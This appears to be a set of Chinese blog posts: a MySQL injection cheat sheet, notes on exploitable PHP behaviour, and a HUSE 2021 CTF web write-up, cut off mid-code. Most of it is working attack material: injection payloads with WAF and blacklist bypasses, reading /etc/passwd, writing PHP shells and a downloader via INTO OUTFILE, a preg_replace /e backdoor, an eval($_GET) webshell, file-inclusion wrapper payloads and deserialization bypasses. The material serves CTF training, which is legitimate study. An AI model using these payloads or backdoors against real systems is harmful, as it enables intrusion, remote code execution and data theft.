利用 PROCEDURE ANALYSE ()	这个需要 web 展示页面有你所注入查询的一个字段。例子：查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE () 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE () 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE () 获得第三个段名

# 一次查询多个表或列

1	SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

例子：

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

输出结果：

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED

利用代码：

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子：

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

输出结果：

1	Table: talk_revisionsColumn: revidTable: talk_revisionsColumn: useridTable: talk_revisionsColumn: userTable: talk_projectsColumn: priority

# 根据列名查询所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’;	查询字段为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’;	查询字段中包含 user 的表

# 根据表查询包含的字段

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’;	查询 user 表中的字段
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;	查询包含 user 字符串表中的字段

# 绕过引号限制

SELECT * FROM Users WHERE username = 0x61646D696E	Hex 编码
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)	利用 CHAR () 函数

# 绕过字符串黑名单

SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT CONCAT_WS(’’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

使用 CONCAT () 时，任何个参数为 null，将返回 null，推荐使用 CONCAT_WS () 。

CONCAT_WS () 函数第一个参数表示用哪个字符间隔所查询的结果。

# 条件语句

CASE
IF()
IFNULL()
NULLIF()

例子：

1	SELECT IF(1=1, true, false);SELECT CASE WHEN 1=1 THEN true ELSE false END;

# 时间延迟查询：

SLEEP()	MySQL 5
BENCHMARK()	MySQL 4/5

例子：

1	' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

# 权限

# 文件权限

下面的语句可以查询用户读写文件操作权限：

SELECT file_priv FROM mysql.user WHERE user = ‘username’;	需要 root 用户来执行	MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’;	普通用户都可以	MySQL 5

# 读取文件

如果用户有文件操作权限可以读取文件：

1	LOAD_FILE()

例子：

1	SELECT LOAD_FILE('/etc/passwd');SELECT LOAD_FILE(0x2F6574632F706173737764);

文件必须在服务器上。
LOAD_FILE () 函数操作文件的当前目录是 @@datadir 。
MySQL 用户必须拥有对此文件读取的权限。
文件大小必须小于 max_allowed_packet。
@@max_allowed_packet 的默认大小是 1047552 字节.

# 写文件

如果用户有文件操作权限可以写文件。

1	INTO OUTFILE/DUMPFILE

写一个 php 的 shell：

1	SELECT '' INTO OUTFILE '/var/www/shell.php';

访问如下链接：

http://localhost/shell.php?c=cat /etc/passwd

写一个下载者：

1	SELECT '' INTO OUTFILE '/var/www/get.php'

访问如下链接：

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

INTO OUTFILE 不可以覆盖已存在的文件。
INTO OUTFILE 必须是最后一个查询。
引号是必须的，因为没有办法可以编码路径名。

# PDO 堆查询方式操作数据库

PHP 使用 PDO_MYSQL 来连接数据库，便可以使用堆查询，堆查询可以同时执行多个语句。

1	SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

# MySql 特有的写法

MySql 中，/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。

如果在！之后是一串数字 (这串数字就是 mysql 数据库的版本号), 如：/*! 12345 SQL 语句 */

当版本号大于等于该数字，SQL 语句则执行，否则就不执行。

1	SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!*/);

# 模糊和混淆

# 允许的字符

09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
A0	Non-breaking Space
20	Space

例子：

1	'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也可以用来绕过过滤空格的情况：

28	(
29	)

例子：

1	UNION(SELECT(column)FROM(table))

# AND 或 OR 后面可以跟的字符

20	Space
2B	+
2D	-
7E	~
21	!
40	@

例子：

1	SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual 是一个虚拟表，可以用来做测试。

# 几个针对黑名单绕过的例子

# 基于关键字的黑名单

过滤关键字	and or
php 代码	preg_match(’/(and\|or)/i’,$id)
会过滤的攻击代码	1 or 1=1 1 and 1=1
绕过方式	1 \|\| 1=1 1 && 1=1

下面这种方式你需要已经知道一些表和字段名（可以利用 substring 函数去一个一个获得 information_schema.columns 表中的数据）

过滤关键字	and or union
php 代码	preg_match(’/(and\|or\|union)/i’,$id)
会过滤的攻击代码	union select user,password from users
绕过方式	1 && (select user from users where userid=1)=‘admin’
过滤关键字	and or union where
----------------	---------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where)/i’,$id)
会过滤的攻击代码	1 && (select user from users where user_id = 1) = ‘admin’
绕过方式	1 && (select user from users limit 1) = ‘admin’
过滤关键字	and or union where
----------------	---------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where)/i’,$id)
会过滤的攻击代码	1 && (select user from users where user_id = 1) = ‘admin’
绕过方式	1 && (select user from users limit 1) = ‘admin’
过滤关键字	and, or, union, where, limit
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit)/i’, $id)
会过滤的攻击代码	1 && (select user from users limit 1) = ‘admin’
绕过方式	1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id 聚合中 user_id 为 1 的 user 为 admin
过滤关键字	and, or, union, where, limit, group by
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by)/i’, $id)
会过滤的攻击代码	1 && (select user from users group by user_id having user_id = 1) = ‘admin’
绕过方式	1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字	and, or, union, where, limit, group by, select
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by\|select)/i’, $id)
会过滤的攻击代码	1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式	1 && substr(user,1,1) = ‘a’
过滤关键字	and, or, union, where, limit, group by, select, ’
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by\|select\|’)/i’, $id)
会过滤的攻击代码	1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式	1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字	and, or, union, where, limit, group by, select, ', hex
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by\|select\|’\|hex)/i’, $id)
会过滤的攻击代码	1 && substr(user,1,1) = unhex(61)
绕过方式	1 && substr (user,1,1) = lower (conv (11,10,16)) #十进制的 11 转化为十六进制，并小写。
过滤关键字	and, or, union, where, limit, group by, select, ', hex, substr
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by\|select\|’\|hex\|substr)/i’, $id)
会过滤的攻击代码	1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式	1 && lpad(user,7,1)
过滤关键字	and, or, union, where, limit, group by, select, ', hex, substr, 空格
----------------	------------------------------------------------------------
php 代码	preg_match(’/(and\|or\|union\|where\|limit\|group by\|select\|’\|hex\|substr\|\s)/i’, $id)
会过滤的攻击代码	1 && lpad(user,7,1)/td>
绕过方式	1%0b\|\|%0blpad(user,7,1)
过滤关键字	and or union where
php 代码	preg_match(’/(and\|or\|union\|where)/i’,$id)
会过滤的攻击代码	1 \|\| (select user from users where user_id = 1) = ‘admin’
绕过方式	1 \|\| (select user from users limit 1) = ‘admin’

# 利用正则表达式进行盲注

我们都已经知道，在 MYSQL 5 + 中 information_schema 库中存储了所有的库名，表明以及字段名信息。故攻击方式如下：

1、判断第一个表名的第一个字符是否是 a-z 中的字符，其中 blind_sqli 是假设已知的库名。

1	index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第一个字符是否是 a-n 中的字符

1	index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为 n

1	index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表达式的更换如下

1	'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为 news ，要验证是否是该表明正则表达式为’^news$’，但是没这必要直接判断 table_name = ‘news’ 不就行了。

5、接下来猜解其它表了只需要修改 limit 1,1 -> limit 2,1 就可以对接下来的表进行盲注了。

# order by 后的注入

oder by 由于是排序语句，所以可以利用条件语句做判断，根据返回的排序结果不同判断条件的真假。

一般带有 oder 或者 orderby 的变量很可能是这种注入，在知道一个字段的时候可以采用如下方式注入：

原始链接：http://www.test.com/list.php?order=vote 根据 vote 字段排序。

找到投票数最大的票数 num 然后构造以下链接：

1	http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。

还有一种方法不需要知道任何字段信息，使用 rand 函数：

1	http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序，判断表名中第一个字符是否小于 128 的语句如下：

1	http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

# 宽字节注入

sql 注入中的宽字节国内最常使用的 gbk 编码，这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 () 的十六进制为 %5c，在你输入 % bf%27 时，函数遇到单引号自动转移加入 \，此时变为 % bf%5c%27，% bf%5c 在 gbk 中变为一个宽字符 “縗”。% bf 那个位置可以是 %81-% fe 中间的任何字符。不止在 sql 注入中，宽字符注入在很多地方都可以应用。

php知识

2021-05-01T05:16:18.000Z

# 系统变量

$_POST // 获取 post 数据，是一个字典
$_GET // 获取 get 数据，是一个字典
$_COOKIE // 获取 cookie
$_SESSION // 获取 session
$_FILE // 获取上传的文件
$_REQUEST // 获取 $_GET，$_POST，$_COOKIE 中的数据

# 错误控制运算符

PHP 支持一个错误控制运算符：@。当将其放置在一个 PHP 表达式之前，该表达式可能产生的任何错误信息都被忽略掉。

# 变量默认值

当定义一个变量，如果没有设置值，默认为 0

# $_GET 和 $_POST

1	http://ctf4.shiyanbar.com/web/false.php?name[]=a&password[]=b

如果 GET 参数中设置 name[]=a ，那么 $_GET['name'] = [a] ，php 会把 []=a 当成数组传入， $_GET 会自动对参数调用 urldecode 。

$_POST 同样存在此漏洞，提交的表单数据， user[]=admin ， $_POST['user'] 得到的是 ['admin'] 是一个数组。

# 内置函数的松散性

strcmp

strcmp 函数的输出含义如下:

如果 str1 小于 str2 返回 < 0；
如果 str1 大于 str2 返回 > 0；
如果两者相等，返回 0。

5.2 中是将两个参数先转换成 string 类型。
5.3.3 以后，当比较数组和字符串的时候，返回是 0。
5.5 中如果参数不是 string 类型，直接 return 了

$array=[1, 2, 3];
// 数组跟字符串比较会返回 0
//这里会输出 null，在某种意义上 null 也就是相当于 false，也就是判断为相等
var_dump(strcmp($array, 'abc'));

sha1 和 md5 函数

md5 和 sha1 无法处理数组，但是 php 没有抛出异常，直接返回 fasle

1 2	sha1([]) === false md5([]) === false

弱类型

当一个整形和一个其他类型行比较的时候，会先把其他类型 intval 再比较

intval

intval () 在转换的时候，会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串，intval () 不会报错而是返回 0。

1
2
3

var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3 
var_dump(intval('abcd')) // 0

这个时候 $a 的值有可能是 1002 union…

1
2
3

if(intval($a) > 1000) { 
    mysql_query("select * from news where id=".$a) 
}

is_numeric

PHP 提供了 is_numeric 函数，用来变量判断是否为数字。但是函数的范围比较广泛，不仅仅是十进制的数字。


echo is_numeric(233333);       // 1
echo is_numeric('233333');    // 1
echo is_numeric(0x233333);    // 1
echo is_numeric('0x233333');   // 1
echo is_numeric('233333abc');  // 0
?>

in_array

in_array 函数用来判断一个值是否在某一个数组列表里面，通常判断方式如下：

1	in_array('b', array('a', 'b', 'c');

这段代码的作用是过滤 GET 参数 typeid 在不在 1，2，3，4 这个数组里面。但是，in_array 函数存在自动类型转换。如果请求， typeid=1’ union select.. 也能通过 in_array 的验证

if (in_array($_GET('typeid'], array(1, 2, 3, 4))) {
    $sql="select …. where typeid=".$_GET['typeid']";
    echo $sql;
}

== 和 ===

== 是弱类型的比较
=== 比较符则可以避免这种隐式转换，除了检查值还检查类型。

以下比较的结果都为 true

// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数，被转换为同一进制比较
'0xccccccccc' == '54975581388' 

// 字符串在与数字比较前会自动转换为数字，如果不能转换为数字会变成0
1 == '1'
1 == '01'
10 == '1e1'
100 == '1e2' 
0 == 'a' // a 转换为数字为 0

// 十六进制数与带空格十六进制数，被转换为十六进制整数
'0xABCdef' == '     0xABCdef'
'0010e2' == '1e3'

hash 比较的问题

0e 开头且后面都是数字会被当作科学计数法，也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头，在做比较的时候，可以用这种方法绕过。

// '0e5093234' 为 0，'0eabc3234' 不为 0

// true
'0e509367213418206700842008763514' == '0e481036490867661113260034900752'
// true
'0e481036490867661113260034900752' == '0' 

// false
var_dump('0' == '0e1abcd');
// true
var_dump(0 == '0e1abcd');

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

如果要找出 0e 开头的 hash 碰撞，可以用如下代码



$salt = 'vunp';
$hash = '0e612198634316944013585621061115';

for ($i=1; $i<100000000000; $i++) {
    if (md5($salt . $i) == $hash) {
        echo $i;
        break;
    }
}

echo 'done';

switch

如果 switch 是数字类型的 case 的判断时， switch 会将其中的参数转换为 int 类型。

$i ="2abc";
switch ($i)  {
    case 0:
    case 1:
    case 2:
        echo "i is less than 3 but not negative";
        break;
    case 3:
        echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative，是由于 switch () 函数将 $i 进行了类型转换，转换结果为 2。

# 正则表达式

preg_match

如果在进行正则表达式匹配的时候，没有限制字符串的开始和结束 ( ^ 和 $ )，则可以存在绕过的问题

$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
  // echo('key...')
}

ereg %00 截断

ereg 读到 %00 的时候，就截止了


    if (ereg ("^[a-zA-Z]+$", $_GET['a']) === FALSE)  {
        echo 'You password must be alphabet';
    }
?>

这里 a=abcd%001234 ，可以绕过

# 变量覆盖

extract

extract () 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素，键名用于变量名，键值用于变量值。

  
    $auth = '0';  
    // 这里可以覆盖$auth的变量值
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>

parse_str

parse_str () 的作用是解析字符串，并注册成变量。与 parse_str () 类似的函数还有 mb_parse_str ()，parse_str 将字符串解析成多个变量，如果参数 str 是 URL 传递入的查询字符串（query string），则将它解析为变量并设置到当前作用域。

//var.php?var=new  
$var='init';  
parse_str($_SERVER['QUERY_STRING']);
// $var 会变成 new
echo $var;

$$ 变量覆盖

如果把变量本身的 key 也当变量，也就是使用了 $$ ，就可能存在问题。

1 2	$_ = '_POST'; // $$_ 是等于 $_POST

例子

// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 这个函数会把 $_CONFIG 变量销毁
      unset($$key);
    }
}

if ($_CONFIG['extraSecure'] == false) {
    echo 'flag {****}';
}

unset

unset($bar); 用来销毁指定的变量，如果变量 $bar 包含在请求参数中，可能出现销毁一些变量而实现程序逻辑绕过。

# 特殊的 PHP 代码格式

以这种后缀结尾的 php 文件也能被解析，这是在 fast-cgi 里面配置的

.php2
.php3
.php4
.php5
.php7
.phtml

正则检测文件内容中包含 就异常退出，通常的 PHP 代码就不行了，可以使用这种方式绕过

1
2
3

效果等于 echo ‘a’;

'a';?>

如果在 php.ini 文件中配置允许 ASP 风格的标签

1
2
3

; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = On

则可以使用该方式

1	<% echo 'a'; %>

`# 伪随机数`

mt_rand()

mt_rand () 函数是一个伪随机发生器，即如果知道随机数种子是可以预测的。

$seed = 12345;
mt_rand($seed);

$ss = mt_rand();

linux 64 位系统中，rand () 和 mt_rand () 产生的最大随机数都是 2147483647，正好是 2^31-1，也就是说随机播种的种子也是在这个范围中的，0 – 2147483647 的这个范围是可以爆破的。但是用 php 爆破比较慢，有一个 C 的版本，可以根据随机数，爆破出种子 php_mt_seed。

在 php > 4.2.0 的版本中，不再需要用 srand () 或 mt_srand () 函数给随机数发生器播种，现已由 PHP 自动完成。php 中产生一系列的随机数时，只进行了一次播种，而不是每次调用 mt_rand () 都进行播种。

rand()

rand () 函数在产生随机数的时候没有调用 srand ()，则产生的随机数是有规律可询的。具体的说明请看这里。产生的随机数可以用下面这个公式预测:

1 2	# 一般预测值可能比实际值要差1 state[i] = state[i-3] + state[i-31]

可以用下面的代码验证一下


$randStr = array(); 
for($i=0;$i<50;$i++) {  //先产生 32个随机数 
    $randStr[$i]=rand(0,30); 
    if($i>=31) { 
        echo  "$randStr[$i]=(".$randStr[$i-31]."+".$randStr[$i-3].") mod 31"."\n"; 
    } 
} 
?>

`# 反序列化`

__construct ()：构造函数，当对象创建 (new) 时会自动调用。但在 unserialize () 时是不会自动调用的。
__destruct ()：析构函数，当对象被销毁时会自动调用。
__wakeup () ：如前所提，unserialize () 时会自动调用。

PHP unserialize() 后会导致 __wakeup() 或 __destruct() 的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞 / 危害代码在 __wakeup() 或 __destruct() 中。

__wakeup 函数绕过

PHP 有个 Bug，如果反序列化出现问题，会不去执行 __wakeup 函数，例如：


class xctf
{
    public $flag = "111";

    public function __wakeup()
    {
        exit('bad requests');
    }
}

//echo serialize(new xctf());
echo unserialize($_GET['code']);
echo "flag{****}";
?>

使用这个 payload 绕过 __wakeup 函数

1 2	# O:4:"xctf":1:{s:4:"flag";s:3:"111";} http://www.example.com/index.php?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在字符串中，前面的数字代表的是后面字符串中字符的个数，如果数字与字符个数不匹配的话，就会报错，因此将 1 改成 2 就会产生报错，导致不会去执行 __wakeup 函数，从而绕过该函数。

`# 文件包含`

1	http://10.2.1.1:20770/index.php?page=upload

这种 url 很容易就能想到可能是文件包含或者伪协议读取

1	http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload

`# 命令执行`

反引号 `

反引号 ` 可以调用 shell_exec 正常执行代码

1	`$_GET['v']` 相当于 shell_exec($_GET['v'])

preg_replace()

触发条件：

第一个参数需要 e 标识符，有了它可以执行第二个参数的命令
第一个参数需要在第三个参数中的中有匹配，不然 echo 会返回第三个参数而不执行命令，举个例子：

// 这样是可以执行命令的
echo preg_replace('/test/e', 'phpinfo()', 'just test');

// 这种没有匹配上，所以返回值是第三个参数，不会执行命令
echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

我们可以构造这样的后门代码

1 2	@preg_replace("//e", $_GET['h'], "Access Denied"); echo preg_replace("/test/e", $_GET["h"], "jutst test");

当访问这样这样的链接时就可以被触发

1	http://localhost:8000/testbug.php?h=phpinfo();

`# 伪协议`

`# php://filter`

读取文件

1 2	/lfi.php?file=php://filter/convert.base64-encode/resource=flag.php /lfi.php?file=php://filter/read=convert.base64-encode/resource=flag.php

`# php://input`

写入文件，数据利用 POST 传过去

1	/test.php?file=php://input

`# data://`

将 include 的文件流重定向到用户控制的输入流

1	/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==

可以用于控制 file_get_contents 的内容为用户输入的流

1
2
3

$file=$_GET['file'];
$data = @file_get_contents($a,'r');
echo $data;

`# phar://`

发现有一个文件上传功能，无法绕过，仅能上传 jpg 后缀的文件。与此同时，无法进行文件包含截断。allow_url_include=on 的状态下，就可以考虑 phar 伪协议绕过。

写一个 shell.php 文件，里面包含一句话木马。然后，压缩成 xxx.zip。然后改名为 xxx.jpg 进行上传。最后使用 phar 进行包含这里的路径为上传的 jpg 文件在服务器的路径

1	/index.php?id=phar://路径/xxx.jpg/shell

`# zip://`

上述 phar:// 的方法也可以使用 zip://

然后吧 1.php 文件压缩成 zip，再把 zip 的后缀改为 png，上传上去，并且可以获得上传上去的 png 的地址。

1.zip 文件内仅有 1.php 这个文件

/php?file=zip://1.png%231.php  

// 也可以尝试不改名为png，直接使用zip上传测试一下
/php?file=zip://1.zip%231.php



huseweb
2021-04-26T12:22:39.000Z
# huse 2021 ctf
# 0x01  web
# 1. web_signin
1
2
3
4
5
6
7
8
9
10
11

show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_POST['b'];
if($a=="huse" && $b == "CTF"){
   echo $flag;
} else {
   echo "hello,do you know how to sign in?";
}
?>
分析源码
题目要求 传 a 和 b 且 a 的值为 huse b 的值为 CTF
a 采用 get 方式传参  b 采用 post 方式传参
# 2. button_login
去除限制
发现提示 you are not login!
用 burpsuite 抓包查看
将 islogin 修改为 1
成功获取 flag
# 3. rbt_cmd
打开页面提示 robots  访问 robots.txt 获取  cmd.php
shell.php
1
2
3
4

show_source(__FILE__);
@eval($_GET['shell']);
?>
1
?shell=system("tac%20config.php");
# 4.easy_upload
f12 查看源码发现有上传框鼠标移到中间位置出现
发现白名单  jpg,png,jif
打开 burpsuite
准备好一句话木马上传，将文件改为 xx.php
获得目录 用 antsword
# 5.include
1
2
3
4
5
6
7
8
9
10
11

$page="pdata://hp://";//data
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
while (strstr($page, "data://")) {
    $page=str_replace("data://", "", $page);
}

echo $page;

1
2
3
4
5
6
7
8
9
10
11
12
GET /?page=pdata://hp://input HTTP/1.1
Host: 222.243.204.5:28082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f740e33b-f09b-4df7-a5bb-097cc1a9c9aa.dCC8kTElFu66NS7LYainSbq7dlE; isLogin=0
Connection: close
Content-Length: 47


# 6.unserialize
# CTF 中的序列化与反序列化
记一些 CTF 出现的序列化与反序列化的知识点和题目。
# 序列化和反序列化的概念
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输，也可以让多个文件共享对象。
# 序列化中常见的魔法函数：
1
2
3
4
5
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用
# 看一串字符串
1
2
3
4
5
6
7
8
9
10
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值
# 访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同，所以这里简单提一下
1
2
3
4
5
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成：%00*%00属性名
private属性被序列化的时候属性值会变成：%00类名%00属性名
就像这样
1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
# 绕过__wakeup () 函数
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup 的执行。
1
2
//将上面的对象属性个数值改成逼真实个数打
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
测试 demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

class Demo {
    private $name = 'husectf2021';
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo "hello," . $this->name;
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the husectf2021.php
            $this->file = 'index.php';
        }
    }
}
    $A = new Demo('husectf2021.php');
    $C = serialize($A);
    var_dump($C);
    $C = str_replace('O:4', 'O:+4',$C);//用+4 （绕过）preg_match
    $C = str_replace(':2:', ':3:',$C);//绕过wakeup 大于个数即可绕过 5，6都可
    var_dump($C);  //打印变量信息
    var_dump(base64_encode($C));

?>
将 base64 编码传入获得 flag
# 7.husesql
输入 1’报错 推断存在 sql 注入
输入 1‘ and ‘1’='1  放回正确
1’ order by 2 –  正确 1’ order by 3 – 报错  推断字段数为二
1’ union select 1,2 报错提示过滤了
1
select|update|delete|drop|insert|where|
发现存在堆叠注入
1’;show databases;# // 堆叠  查数据库       -1’ and extractvalue (1,concat (1,version ()))-- +   // 获得数据库名称
1’;show tables;#  查表
1’;show columns from ise_lab_2021husectf;# 查字段
-1’;show columns from words#
words 应该为默认查询表
方法一 。将要查询的 flag 字段改为默认表
添加一个 id 字段，并将其设置为主键和自动增加，以确定值的存在
-1’;ALTER TABLE  ise_lab_2021husectf  ADD (id int(11) primary key auto_increment);%23
1’;show columns from ise_lab_2021husectf;# 查看是否添加成功
将 flag 字段改名为 data
1
2
3
alter table words rename to aaaa;先把原来的words表名字改成别的，随便改都行
alter table ise_lab_2021husectf rename to words;将表ise_lab_2021husectf的名字改为words
alter table words change flag id varchar(100);将改完名字后的表中的flag改为id，
=1’; alter table words rename to aaaa;alter table  ise_lab_2021husectf  rename to words;alter table words change flag id varchar(100);#
1’ or 1=1#
方法二。 用拼接构造请求
CONCAT 函数用于将两个字符串连接为一个字符串 例如
1
2
3
4
5
6
7
SQL> SELECT CONCAT('FIRST ', 'SECOND');
+----------------------------+
| CONCAT('FIRST ', 'SECOND') |
+----------------------------+
| FIRST SECOND               |
+----------------------------+
1 row in set (0.00 sec)
1
-1';use supersqli;set @sql=concat('s','elect `flag` from `ise_lab_2021husectf`');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+
PREPARE 为预处理
方法三，handler 查询
1
2
-1';handler `ise_lab_2021husectf` open;handler `ise_lab_2021husectf` read first;#

# 8.unserialize2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

final class User
{
    private $userData;

    public function __construct($loginAttempt)  //创建对象时调用  将值传给loginAttempt
    {
        $this->userData = unserialize($loginAttempt);  //调用反序列化
        if (!$this->userData)
            throw new InvalidArgumentException('Unable to reconstruct user data');
    }

    private function verifyUsername()
    {
        return $this->userData->username === 'husectfer';  //判断username
    }

    private function verifyRandomVal()
    {
        $this->userData->randomValue = random_int(1e10, 1e11 - 1);
        return (int)$this->userData->rnd === $this->userData->randomValue;  
    }   //构造 return放回结果为真

    public function verify()
    {
